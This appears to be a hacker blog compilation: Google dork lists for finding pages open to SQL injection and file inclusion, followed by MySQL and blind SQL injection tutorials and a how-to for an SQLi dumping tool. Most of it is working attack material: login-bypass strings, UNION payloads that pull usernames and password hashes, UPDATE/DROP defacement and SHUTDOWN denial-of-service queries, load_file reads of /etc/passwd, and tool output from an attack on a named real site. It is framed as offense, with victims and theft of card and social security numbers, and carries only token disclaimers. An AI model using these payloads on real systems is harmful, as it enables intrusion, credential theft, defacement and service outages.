inurl:pages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
inurl:”.php?id=1″
inurl:”.php?cat=1″
inurl:”.php?catid=1″
inurl:”.php?num=1″
inurl:”.php?bid=1″
inurl:”.php?pid=1″
inurl:”.php?nid=1″

Local File Inclusion (LFI)
Remote File Inclusion (RFI)

inurl:/_functions.php?prefix=

inurl:/cpcommerce/_functions.php?prefix=

inurl:/modules/coppermine/themes/default/theme.php?THEME_DIR=

inurl:/modules/agendax/addevent.inc.php?agendax_path=

inurl:/ashnews.php?pathtoashnews=

inurl:/eblog/blog.inc.php?xoopsConfig[xoops_url]=

inurl:/pm/lib.inc.php?pm_path=

inurl:/b2-tools/gm-2-b2.php?b2inc=

inurl:/modules/mod_mainmenu.php?mosConfig_absolute_path=

inurl:/modules/agendax/addevent.inc.php?agendax_path=

inurl:/includes/include_once.php?include_file=

inurl:/e107/e107_handlers/secure_img_render.php?p=

inurl:/shoutbox/expanded.php?conf=

inurl:/main.php?x=

inurl:/myPHPCalendar/admin.php?cal_dir=

inurl:/index.php/main.php?x=

inurl:/index.php?include=

inurl:/index.php?x=

inurl:/index.php?open=

inurl:/index.php?visualizar=

inurl:/template.php?pagina=

inurl:/index.php?pagina=

inurl:/index.php?inc=

inurl:/includes/include_onde.php?include_file=

inurl:/index.php?page=

inurl:/index.php?pg=

inurl:/index.php?show=

inurl:/index.php?cat=

inurl:/index.php?file=

inurl:/db.php?path_local=

inurl:/index.php?site=

inurl:/htmltonuke.php?filnavn=

inurl:/livehelp/inc/pipe.php?HCL_path=

inurl:/hcl/inc/pipe.php?HCL_path=

inurl:/inc/pipe.php?HCL_path=

inurl:/support/faq/inc/pipe.php?HCL_path=

inurl:/help/faq/inc/pipe.php?HCL_path=

inurl:/helpcenter/inc/pipe.php?HCL_path=

inurl:/live-support/inc/pipe.php?HCL_path=

inurl:/gnu3/index.php?doc=

inurl:/gnu/index.php?doc=

inurl:/phpgwapi/setup/tables_update.inc.php?appdir=

inurl:/forum/install.php?phpbb_root_dir=

inurl:/includes/calendar.php?phpc_root_path=

inurl:/includes/setup.php?phpc_root_path=

inurl:/inc/authform.inc.php?path_pre=

inurl:/include/authform.inc.php?path_pre=

inurl:index.php?nic=

inurl:index.php?sec=

inurl:index.php?content=

inurl:index.php?link=

inurl:index.php?filename=

inurl:index.php?dir=

inurl:index.php?document=

inurl:index.php?view=

inurl:*.php?sel=

inurl:*.php?session=&content=

inurl:*.php?locate=

inurl:*.php?place=

inurl:*.php?layout=

inurl:*.php?go=

inurl:*.php?catch=

inurl:*.php?mode=

inurl:*.php?name=

inurl:*.php?loc=

inurl:*.php?f=

inurl:*.php?inf=

inurl:*.php?pg=

inurl:*.php?load=

inurl:*.php?naam=

allinurl:/index.php?page= site:*.de

allinurl:/index.php?file= site:*.de

LFI(Local File Inclusion)

acion=
act=
action=
API_HOME_DIR=
board=
cat=
client_id=
cmd=
cont=
current_frame=
date=
detail=
dir=
display=
download=
f=
file=
fileinclude=
filename=
firm_id=
g=
getdata=
go=
HT=
idd=
inc=
incfile=
incl=
include_file=
include_path=
infile=
info=
ir=
lang=
language=
link=
load=
main=
mainspot=
msg=
num=
openfile=
p=
page=
pagina=
path=
path_to_calendar=
pg=
plik
qry_str=
ruta=
safehtml=
section=
showfile=
side=
site_id=
skin=
static=
str=
strona=
sub=
tresc=
url=
user=

Full MySQL injection tutorial

2010-08-28T21:40:00.000-07:00

TABLE OF CONTENT:
#INTRO
#WHAT IS DATABASE?
#WHAT IS SQL INJECTION?
#BYPASSING LOGINS
#ACCESSING SECRET DATA
#Checking for vulnerability
#Find the number of columns
#Addressing vulnerable part
#Finding MySQL version
#MySQL 5 or above injection
#MySQL 4 injection
#MODIFYING SITE CONTENT
#SHUTTING DOWN THE MySQL SERVER
#LOADFILE
#MySQL ROOT
#MAJOR MySQL COMMANDS
#FINALIZING THE INJECTION TUTORIAL
#REFERENCES
#SECURITY SITES
#WARGAMEZ SITES
#GREETZ AND SHOUTZ
#THE END

INTRO!!
Greetz to all, I'm PinningYou. In this tutorial, I will demonstrate the infamous MySQL injection in newbie perspective so that all the newbies become able to become successful SQL injector. But, be sure to check various php & mysql functions in various sites which will help you a lot... Also do not be harsh on me if there are any grammatical errors on the tutorial bcoz English is not my native language. Now lets begin our walkthrough of SQL injection.

WHAT IS DATABASE?
Just general info.. Database is the application that stores a collection of data. Database offers various APIs for creating, accessing and managing the data it holds. And database(DB) servers can be integrated with our web development so that we can pick up the things we want from the database without much difficulties. DB may hold various critical informations like usernames, passwords, credit cares,etc. So, DB need to be secured but many DB servers running are insecured either bcoz of their vulnerability or bcoz of poor programming handles. To name few DB servers, MySQL(Open source), MSSQL, MS-ACCESS, Oracle, Postgre SQL(open source), SQLite, etc.

WHAT IS SQL INJECTION?
SQL injection is probably the most abundant programming flaw that exists on the internet at present. It is the vulnerability through which unauthorized person can access the various critical and private dat. SQL injection is not a flaw in the web or db server but but is a result of the poor and inexperienced programming practices. And it is one of the deadliest as well as easiest attack to execute from remote location.
In SQL injection, we interact with DB server with the various commands and get various data from it. In this tutorial, I would be discussing 3 aspects of SQL injection namely bypassing logins, accessing the secret data and modifying the page contents. So lets head forward on our real walkthrough..

CTD...

MySQL Injection Tutorial BYPASSING LOGINS
Suppose, a site has a login form & only the registered users are allowed to enter the site. Now, say u wanted to bypass the login and enter the site as the legitimate user. If the login scriptblock is not properly sanitized by the programmer, u may have luck to enter the site. U might be able to login into the site without knowing the real username and real password by just interacting with the DB server. So, isn't that the beauty of SQL injection??
Let's see an example, where the username admin with the password pass123 can login to the site. Suppose, the SQL query for this is carried out as below:
SELECT USER from database WHERE username='admin' AND password='pass123'
And if above SELECT command evaluates true, user will be given access to the site otherwise not. Think what we could do if the scriptblock is not sanitized. This opens a door for the hackers to gain illegal access to the site.
In this example, the attacker can enter the following user data in the login form:
username: a or 1=1--
password:blank
So, this would make our query as:
SELECT USER from database WHERE username='a' or 1=1-- AND password=''
Note that -- is the comment operator and anything after it will be ignored as a comment. There exists another comment operator which is /*.
So our above query becomes:
SELECT USER from database WHERE username='a' or 1=1

Now this query evaluates true even if there is no user called 'a' bcoz 1=1 is always true and using OR makes the query return true when one of the query is true. And this gives access to the site admin panel.
There can be various other username and password combinations to play with the vulnerable sites. U can create ur own new combinations for the site login.
Few such combinations are:
username:' or 1='1 password:' or 1='1
username:' or '1'='1' password:' or '1'='1'
username:or 1=1 password:or 1=1
and there are many more cheat sheets. Just google. In fact, you can create your own such combination to bypass logins..
That's all about bypassing logins.
CTD...

ACCESSING SECRET DATA
SQL injection is not essentially done for bypassing logins only but it is also used for accessing the sensitive and secret data in the DB servers. This part is long, so I would be discussing in the subsections.

Sub-section 1:
Checking for vulnerability
Suppose, u got a site:
http://www.site.com/article.php?id=5
Now to check if it is vulnerable, u would simply add ' in the end i.e. where id variable is assigned.
So, it is:

www.site.com/article.php?id=5'
Now if the site is not vulnerable, it filters and the page loads normally.
But, if it doesn't filter the query string, it would give the error something like below:
"MySQL Syntax Error By '5'' In Article.php on line 15."
or
error that says us to check the correct MySQL version or MySQL Fetch error or sometimes just blank page. The error may be in any form. So it makes us sure that the site is vulnerable.
Also just using ' may not be the sure test; so you may try different things like:
www.site.com/article.php?id=5 union select 1--
If you get error with this, you again come to know that its vulnerable... Just try different things..

Sub-section 2:
Find the number of columns
So, now its time to find the number of columns present. For this purpose, we will be using 'order by' until we get error.
That is, we make our URL query as:
www.site.com/article.php?id=5 order by 1/*
//this didn't give error.
Now, I do increase it to 2.
www.site.com/article.php?id=5 order by 2/*
//still no error
So, we need to increase until we get the error.
In my example, I got error when I put the value 3 i.e.
www.site.com/article.php?id=5 order by 3/*
//this gave me error.
So, it means there are 2 columns in the current table(3-1=2). This is how we find the number of columns.

Sub-section 3:
Addressing Vulnerable Part:
Now, we need to use union statement & find the column which we can replace so as to see the secret data on the page.
First lets craft the union statement which won't error.. This becomes like this:
www.site.com/article.php?id=5 UNION ALL SELECT null/*
This would error because our query needs to have one more null there.. Also null doesn't cause any type conversion error as it is just null..
So for our injection, it becomes:
www.site.com/article.php?id=5 UNION ALL SELECT null,null/*
For this we do:
www.site.com/article.php?id=5 UNION ALL SELECT 1,2/*
Now we will see the number(s) on the page somewhere. I mean, either 1 or 2 or both 1 & 2 are seen on the page. Note that the number may be displayed anywhere like in the title of the page or sometime even in the hidden tags in the source.. So, this means we can replace the number with our commands to display the private data the DB holds.
In my example, 1 is seen on the page. This means, I should replace 1 with my things to proceed further. Got it?? So lets move forward.
Quick note: Sometime the numbers may not be displayed so it becomes hard for you to find the column which you can use to steal the data.. So in that case, you may try something like below:
www.site.com/article.php?id=5 UNION ALL SELECT xyz123,null/*
or
www.site.com/article.php?id=5 UNION ALL SELECT null,xyz123/*
If xyz123 is displayed somewhere in the page, you may go further for injection replacing the text part... Here, I have kept text instead of integer to check if text is displayed... Also, be sure to check source because sometimes they may be in some hidden tags..

CTD...

Sub-section 4:
Finding MySQL version:
For our injection, it is necessary to find the MySQL version bcoz if it is 5, our job becomes lot easier. To check the version, there is a function @@version or version().
So, what we do is replace 1(which is the replaceable part) with @@version i.e. we do as below:
www.site.com/article.php?id=5 UNION ALL SELECT @@version,2/*
or
www.site.com/article.php?id=5 UNION ALL SELECT version(),2/*
So, this would return the version of MySQL running on the server.
But, sometimes u may get error with above query. If that is the case, do use of unhex(hex()) function like this:
www.site.com/article.php?id=UNION ALL SELECT unhex(hex(@@version)),2/*
Remember that if u have to use unhex(hex()) function here, u will also have to use this function in the injection process later on.
@@version will give u the version. It may be either 4(or below) or 5 & above. I m now going to discuss the injection process for version 5 and 4 separately coz as I said earlier, version 5 makes it easy for us to perform the injection.

Quick note: Also, you may check for user, database,etc.. by using following:
www.site.com/article.php?id=5 UNION ALL SELECT user(),2/*
http://www.site.com/article.php?id=5 UNION ALL SELECT database(),2/*

Sub-section 5:
MySQL 5 or above injection:
Here, I m gonna show u how to access data in the server running MySQL 5 or above.
U got MySQL version 5.0.27 standard using the @@version in url parameter. MySQL from version 5 has a useful function called information_schema. This is table that holds information about the tables and columns present in the DB server. That is, it contains name of all tables and columns of the site.
For getting table list, we use: table_name from information_schema.tables
For getting column list, we use: column_name from information_schema.columns
So our query for getting the table list in our example would be:
www.site.com/article.php?id=5 UNION ALL SELECT table_name,2 FROM information_schema.tables/*
And yeah if u had to use unhex(hex()) while finding version, u will have to do:
www.site.com/article.php?id=5 UNION ALL SELECT unhex(hex(table_name)),2 FROM information_schema.tables/*

This will list all the tables present in the DB. For our purpose, we will be searching for the table containing the user and password information. So we look the probable table with that information. U can even write down the table names for further reference and works. For my example, I would use the tbluser as the table that contains user & password.
Similarly, to get the column list, we would make our query as:
www.site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM information_schema.columns/*

This returns all the columns present in the DB server. Now from this listing, we will look for the probable columns for username and password. For my injection, there are two columns holding these info. They are username and password respectively. So that's the column what I wanted. U have to search and check the columns until u get no error.
Alternatively to find the column in the specific table, u can do something like below:
www.site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM information_schema.columns WHERE table_name='tbluser'

This would display the columns present in the table tbluser. But this may not work always.
Let me show u how I got to know that the above two columns belong to table tbluser. Now let me show how to display the username and password stored in the DB.
There is a function called concat() that allows me to join the two columns and display on the page. Also I will be using :(colon) in the hex form. Its hex value is 0x3a(thats zero at beginning not alphabet o.)
What I do is:
www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 FROM tbluser/*
And this gives me the username and password like below:
admin:9F14974D57DE204E37C11AEAC3EE4940
Here the password is hashed and in this case, its MD5. Now u need to get the hash cracker like John The Ripper(http://www.openwalls.org), Cain & Able(http://www.oxid.it) and crack the hash. The hash may be different like SHA1, MD5,etc.. or sometimes plaintext password may be shown on the page. In this case, when I crack I get the password as sam207.
Now u get to admin login page and login as admin. Then u can do whatever u like. So that's all for the MySQL version 5.
CTD...

Sub-section 6:
MySQL version 4 injection:
Now say ur victim has MySQL version 4. Then u won't be able to get the table name and column name as in MySQL version 5 bcoz it lacks support for information_schema.tables and information_schema.columns. So now u will have to guess the table name and column name until u do not get error. Also, if the mysql version is below 5, you may have to depend on the luck & error messages displayed.. Sometimes the error will give you the table name & column name & that gives you some idea to guess the correct table & columns name.. Say, the error reports sam207_article in the error.. So, you know that sam207_ is the prefix used in the table names...
Anyway, lets go for MySQL version 4 injection...
For example, u would do as below:
www.site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM user/*

Here, I guessed for the table name as user. But this gave me the error bcoz the table with the name user didn't exist on the DB. Now I kept on guessing for the table name until I didn't get error.
When I put the table name as tbluser, the page loaded normally. So I came to know that the table tbluser exists.
www.site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM tbluser/*

The page loaded normally. Now again u have to guess the column names present in the tbluser table.
I do something like below:
www.site.com/article.php?id=5 UNION ALL SELECT user_name,2 FROM tbluser/*
//this gave me error so there is no column with this name.
www.site.com/article.php?id=5 UNION ALL SELECT username,2 FROM tbluser/*
//It loaded the page normally along with the username from the table.
www.site.com/article.php?id=5 UNION ALL SELECT pass,2 FROM tbluser/*
//it errored so again the column pass doesnot exist in the table tbluser.
www.site.com/article.php?id=5 UNION ALL SELECT password,2 FROM tbluser/*
//the page loaded normally with password hash(or plaintext password).
Now u may do this:
www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 FROM tbluser/*
This gave me:
admin:9F14974D57DE204E37C11AEAC3EE4940
On cracking, I got sam207 as password. Now I just need to login the site and do whatever I wanted.
Few table names u may try are: user(s), table_user(s), tbluser(s), tbladmin(s), admin(s), members, etc. As said earlier, be sure to look on the errors because sometime they give fortunately for us the errors with table names & column names...

U may try these methods so as to get various data such as credit card numbers, social security numbers, etc. and etc. if the database holds. Just what u need to do is figure out the columns and get them displayed on the vulnerable page. That's all on the injection for accessing secret data.
CTD...

MODIFYING SITE CONTENT:
Sometime, u find the vulnerable site and get evrything to know but maybe admin login doesn't exist or it is accessible for certain IP range. Even in that context, u can use some kewl SQL commands for modifying the site content. I haven't seen much articles addressing this one so thought to include it here.
Here, I will basically talk about few SQL commands u may use to change the site content. Therse commands are the workhorse of MySQL & are deadly when executed.
First let me list these commands:
UPDATE: It is used to edit infos already in the db without deleting any rows.
DELETE: It is used to delete the contents of one or more fields.
DROP: It is used completely delete a table & all its associated data.
Now, u could have figured out that these commands can be very desctructive if the site lets us to interact with db with no sanitization & proper permission.
Command Usage:
UPDATE: Our vulnerable page is:
http://www.site.com/article.php?id=5
Lets say the query is:
SELECT title,data,author FROM article WHERE id=5
Though in reality, we don't know the query as above, we can find the table and column name as discussed earlier.
So we would do:
www.site.com/article.php?id=5 UPDATE article SET title='Hacked By PinningYou'/*
or, u could alternatively do:
www.site.com/article.php?id=5 UPDATE article SET title='HACKED BY PinningYou',data='Ur site has zero
security',author='sam207'/*

By executing first query, we have set the title value as 'Hacked By sam207' in the table article while in second query, we have updated all three fields title, data, & author in the table article.
Sometimes, u may want to change the specific page with id=5. For this u will do:
www.site.com/article.php?id=5 UPDATE article SET title='value 1',data='value 2',author='value 3' WHERE id=5/*

DELETE:As already stated, this deletes the content of one or more fields permanently from the db server.
The syntax is:
www.site.com/article.php?id=5 DELETE title,data,author FROM article/*
or if u want to delete these fields from the id=5, u will do:
www.site.com/article.php?id=5 DELETE title,data,author FROM article WHERE id=5/*

DROP:This is another deadly command u can use. With this, u can delete a table & all its associated data.
For this, we make our URL as:
www.site.com/article.php?id=5 DROP TABLE article/*
This would delete table article & all its contents.

Finally, I want to say little about ;
Though I have not used this in my tutorial, u can use it to end ur first query and start another one.
This ; can be kept at the end of our first query so that we can start new query after it.
CTD...

SHUTTING DOWN MySQL SERVER:
This is like DoSing the server as it will make the MySQL resources unavailable for the legitimate users or site visitors... For this, you will be using: SHUTDOWN WITH NOWAIT;
So, you would craft a query which would execute the above command...
For example, in my case, I would do the following:
www.site.com/article.php?id=5 SHUTDOWN WITH NOWAIT;
WOW! the MySQL server is down... This would prevent legitimate users & site visitors from using or viewing MySQL resources...

LOADFILE:
MySQL has a function called load_file which you can use for your benefits again.. I have not seen much site where I could use this function... I think we should have MySQL root privilege for this.... Also, the magic quotes should be off for this.. But there is a way to get past the magic quotes... load_file can be used to load certain files of the server such as .htaccess, .htpasswd, etc.. & also password files like etc/passwd, etc..
Do something like below:
www.site.com/article.php?id=5 UNION ALL SELECT load_file('etc/passwd'),2/*

But sometimes, you will have to hex the part & do something like below:
www.site.com/article.php?id=5 UNION ALL SELECT load_file(0x272F6574632F70617373776427)
where I have hexed... Now, if we are lucky, the scriptblock would echo the etc/passwd in the result..

MySQL ROOT:
If the MySQL version is 5 or above, we might be able to gain MySQL root privilege which will again be helpful for us.. MySQL servers from version 5 have a table called mysql.user which contains the hashes & usernames for login... It is in the user table of the mysql database which ships with every installation of MySQL..
For this, you will do:
www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 from mysql.user/*

Now you will get the usernames & hashes.. The hash is mysqlsha1... Quick note: JTR won't crack it.. But http://www.insidepro.com has one to do it..
CTD...

FINALIZING THE INJECTION TUTORIAL:
I know I have missed some things like outfile, WHERE clause, blind injection,etc... If I get time, I would try to update the tutorial with these.. Also for all sql injectors, think in a broad way.. & hexing is an important part in sql injection.. Sometimes the things that can't be done with normal ways can be done by using the hex part.. & be sure to try things with char(), hex() functions.. With these, you can bypass magic quotes on the server.. Again, within the UNION statement, you may try to use the XSS which would be sometimes helpful for you..
www.site.com/article.php?id=5 UNION ALL SELECT alert("XSS via SQL injection");,2/*
Again in the above injection, you may require to hex up the javascriptblock part for bypassing the magic quotes..
Also for starters & those who know little things, you may setup a MySQL server & configure PHP for your apache server in your localhost where you can try different things..
In the command line interface of MySQL, try various commands enlisted below.. Try by modifying them... This would help you improve your MySQL command knowledge.. Also try to see how PHP codes interact with MySQL server.. For example, install some free forums like PHPBB, SMF,etc.. or some content management system as it would help you in two ways.. First, you would learn how the PHP interacts with MySQL.. You may check MySQL folder with what changes has occured after installing them.. What would happen if I do this? or that?? etc..etc.. Second, you may be able to find bugs in them.. like rfi in some part of the code or sql injection in another part or maybe csrf injection,etc.. That would help you to learn new things because you all know practice makes the man perfect...
CTD

MAJOR MySQL COMMANDS:
Below, I would list some major MySQL commands that might help you a lot... Play with them in different ways by setting up a MySQL server in your computer..
All the commands here are copy pasted from the post at http://www.h4cky0u.org & the credit for this part goes to the original author.. This is the only part which I didn't write myself.. I could have but since there is better one, I thought to put the same part here.. Thanks to whoever posted this in h4cky0u site.. & also full credits to him/her for this part..
ABORT -- abort the current transaction
ALTER DATABASE -- change a database
ALTER GROUP -- add users to a group or remove users from a group
ALTER TABLE -- change the definition of a table
ALTER TRIGGER -- change the definition of a trigger
ALTER USER -- change a database user account
ANALYZE -- collect statistics about a database
BEGIN -- start a transaction block
CHECKPOINT -- force a transaction log checkpoint
CLOSE -- close a cursor
CLUSTER -- cluster a table according to an index
COMMENT -- define or change the comment of an object
COMMIT -- commit the current transaction
COPY -- copy data between files and tables
CREATE AGGREGATE -- define a new aggregate function
CREATE CAST -- define a user-defined cast
CREATE CONSTRAINT TRIGGER -- define a new constraint trigger
CREATE CONVERSION -- define a user-defined conversion
CREATE DATABASE -- create a new database
CREATE DOMAIN -- define a new domain
CREATE FUNCTION -- define a new function
CREATE GROUP -- define a new user group
CREATE INDEX -- define a new index
CREATE LANGUAGE -- define a new procedural language
CREATE OPERATOR -- define a new operator
CREATE OPERATOR CLASS -- define a new operator class for indexes
CREATE RULE -- define a new rewrite rule
CREATE SCHEMA -- define a new schema
CREATE SEQUENCE -- define a new sequence generator
CREATE TABLE -- define a new table
CREATE TABLE AS -- create a new table from the results of a query
CREATE TRIGGER -- define a new trigger
CREATE TYPE -- define a new data type
CREATE USER -- define a new database user account
CREATE VIEW -- define a new view
DEALLOCATE -- remove a prepared query
DECLARE -- define a cursor
DELETE -- delete rows of a table
DROP AGGREGATE -- remove a user-defined aggregate function
DROP CAST -- remove a user-defined cast
DROP CONVERSION -- remove a user-defined conversion
DROP DATABASE -- remove a database
DROP DOMAIN -- remove a user-defined domain
DROP FUNCTION -- remove a user-defined function
DROP GROUP -- remove a user group
DROP INDEX -- remove an index
DROP LANGUAGE -- remove a user-defined procedural language
DROP OPERATOR -- remove a user-defined operator
DROP OPERATOR CLASS -- remove a user-defined operator class
DROP RULE -- remove a rewrite rule
DROP SCHEMA -- remove a schema
DROP SEQUENCE -- remove a sequence
DROP TABLE -- remove a table
DROP TRIGGER -- remove a trigger
DROP TYPE -- remove a user-defined data type
DROP USER -- remove a database user account
DROP VIEW -- remove a view
END -- commit the current transaction
EXECUTE -- execute a prepared query
EXPLAIN -- show the execution plan of a statement
FETCH -- retrieve rows from a table using a cursor
GRANT -- define access privileges
INSERT -- create new rows in a table
LISTEN -- listen for a notification
LOAD -- load or reload a shared library file
LOCK -- explicitly lock a table
MOVE -- position a cursor on a specified row of a table
NOTIFY -- generate a notification
PREPARE -- create a prepared query
REINDEX -- rebuild corrupted indexes
RESET -- restore the value of a run-time parameter to a default value
REVOKE -- remove access privileges
ROLLBACK -- abort the current transaction
SELECT -- retrieve rows from a table or view
SELECT INTO -- create a new table from the results of a query
SET -- change a run-time parameter
SET CONSTRAINTS -- set the constraint mode of the current transaction
SET SESSION AUTHORIZATION -- set the session user identifier and the current user identifier of the current session
SET TRANSACTION -- set the characteristics of the current transaction
SHOW -- show the value of a run-time parameter
START TRANSACTION -- start a transaction block
TRUNCATE -- empty a table
UNLISTEN -- stop listening for a notification
UPDATE -- update rows of a table
VACUUM -- garbage-collect and optionally analyze a database
CTD...

Disclaimer
This tutorial is for educational purpose only. The Author does not have any responsibility if the content in this tutorial is misused.
"ILLEGAL USAGE OF THESE KNOWLEDGE MAY LEAD TO SERIOUS RESULTS"

Blind SQL Injection tutorial

2010-08-25T21:37:00.001-07:00

Let's start with advanced stuff. I will be using our example http://www.site.com/news.php?id=5 when we execute this, we see some page and articles on that page, pictures etc... then when we want to test it for blind sql injection attack http://www.site.com/news.php?id=5 and 1=1 <--- this is always true and the page loads normally, that's ok. now the real test
http://www.site.com/news.php?id=5 and 1=2 <--- this is false

so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.

1) Get the MySQL version

to get the version in blind attack we use substring

i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4

this should return TRUE if the version of MySQL is 4.

replace 4 with 5, and if query return TRUE then the version is 5.

i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5

2) Test if subselect works

when select don't work then we use subselect

i.e

http://www.site.com/news.php?id=5 and (select 1)=1

if page loads normally then subselects work.

then we gonna see if we have access to mysql.user

i.e

http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1

if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.

3). Check table and column names

This is part when guessing is the best friend :)

i.e.

http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)

then if the page loads normally without content missing, the table users exits.
if you get FALSE (some article missing), just change table name until you guess the right one :)

let's say that we have found that table name is users, now what we need is column name.

the same as table name, we start guessing. Like i said before try the common names for columns.

i.e

http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

if the page loads normally we know that column name is password (if we get false then try common names or just guess)

here we merge 1 with the column password, then substring returns the first character (,1,1)

4). Pull data from database

we found table users i columns username password so we gonna pull characters from that.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

ok this here pulls the first character from first user in table users.

substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value

and then compare it with simbol greater then > .

so if the ascii char greater then 80, the page loads normally. (TRUE)

we keep trying until we get false.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

we get TRUE, keep incrementing

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

TRUE again, higher

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

FALSE!!!

so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.

then let's check the second character.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

TRUE, the page loads normally, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

FALSE, lower number.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

TRUE, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

FALSE!!!

we know that the second character is char(105) and that is 'i'. We have 'ci' so far

so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).

There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually,

cause that makes you better SQL INJECTOR :D

Simple SQLi Dumper v5.1 [ How To ]

2010-08-25T00:25:00.001-07:00

USE THIS TOOL FOR EDUCATION PURPOSE ONLY.
WE ARE NOT RESPONSIBLE OF ANY DAMAGE AND IMPROPERLY USE OF THIS TOOL.
USE IT AT YOUR OWN RISK!!
SSDp coded by Vrs-hCk ( ander[at]antisecurity[dot]org )
SSDp How To by NoGe ( mario[at]antisecurity[dot]org )
[o] what is SSDp?
SSDp is an usefull penetration tool to find bugs, errors or vulnerabilities in MySQL database.

[o] download SSDp v5.1
http://c0li.info/xpl/ssdp51.tar.gz
http://pacenoge.org/tool/ssdp51.tar.gz
[o] function
- SQL Injection
- Operation System Function
- Dump Database
- Extract Database Schema
- Search Columns Name
- Read File (read only)
- Create File (read only)
- Brute Table & Column
[o] command and option
[root@evilc0de noge]# perl ssdp.pl -h
|—————————————————————————–|
| Usage: perl ssdp.pl [options] |
| |
| -u [SQLi URL] target with id parameter or sqli url with c0li string |
| -e [sqli end tag] sql injection end tag (default: “–”) |
| -d [database name] this option should not be used (default: @@database) |
| -t [table name] table_name |
| -c [columns name] column_name (example: id,user,pass,email) |
| -s [space code] SPACE code: +,/**/,%20 (default: “+”) |
| -f [max field] max field to get magic number (default: 123) |
| -start [num] row number to begin dumping data |
| -stop [num] row number to stop dumping |
| -where [query] your special dumping query |
| |
| -info Get MySQL Information [MySQL v4+] |
| -dbase Concat Databases [MySQL v5+] |
| -table Concat Tables [MySQL v5+] |
| -column Concat Columns [MySQL v5+] |
| -tabcol Concat Tables with Columns [MySQL v5+] |
| -find Search Columns Name [MySQL v5+] |
| -magic Find Magic Number [MySQL v4+] |
| -dump Dump Data [MySQL v4+] |
| -brute Fuzzing Tables & Columns [MySQL v4+] |
| |
| -log [file name] file name to save ssdp data (default: ssdp.log) |
| -p [http proxy] hostname:port |
|—————————————————————————–|
[o] proof of concept
[0x01] magic number (null column).
first of all we have to find null column (magic number).
null column used for execute our SQL query.
# perl ssdp.pl -u [target URL] -magic
[root@evilc0de noge]# perl ssdp.pl -u http://www.460productions.com/store.php?cat=2 -magic
[o]=================================================[x]
| Simple SQLi Dumper v5.1 |
| Coded by Vrs-hCk |
[o]=================================================[o]
Help Command: -h, -help, –help
[+] URL: http://www.460productions.com/store.php?cat=2
[+] End Tag: –
Attempting to find the magic number…
[+] Testing: 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,
[+] Field Length : 24
[+] Magic Number : 1
[+] URL Injection: http://www.460productions.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
Showing MySQL Information …
[+] Database: 460store
[+] User: i460usr@boscgi1002.eigbox.net
[+] Version: 5.0.51a-log
[+] System: redhat-linux-gnu
[+] Access to “mysql” Database: No
[+] Read File “/etc/passwd”: Yes (w00t)
[+] Create File “/tmp/c0li-430.txt”: Yes (w00t)
Done.
our magic number is 1 and it will replace with “c0li” string.
we can see the database information and operation system too.
[0x02] finding table
now we use URL that include “c0li” string on it to find table & column.
# perl ssdp.pl -u [c0li URL] -table
[root@evilc0de noge]# perl ssdp.pl -u http://www.460productions.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 -table
[o]=================================================[x]
| Simple SQLi Dumper v5.1 |
| Coded by Vrs-hCk |
[o]=================================================[o]
Help Command: -h, -help, –help
[+] c0li SQLi URL: http://www.460productions.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
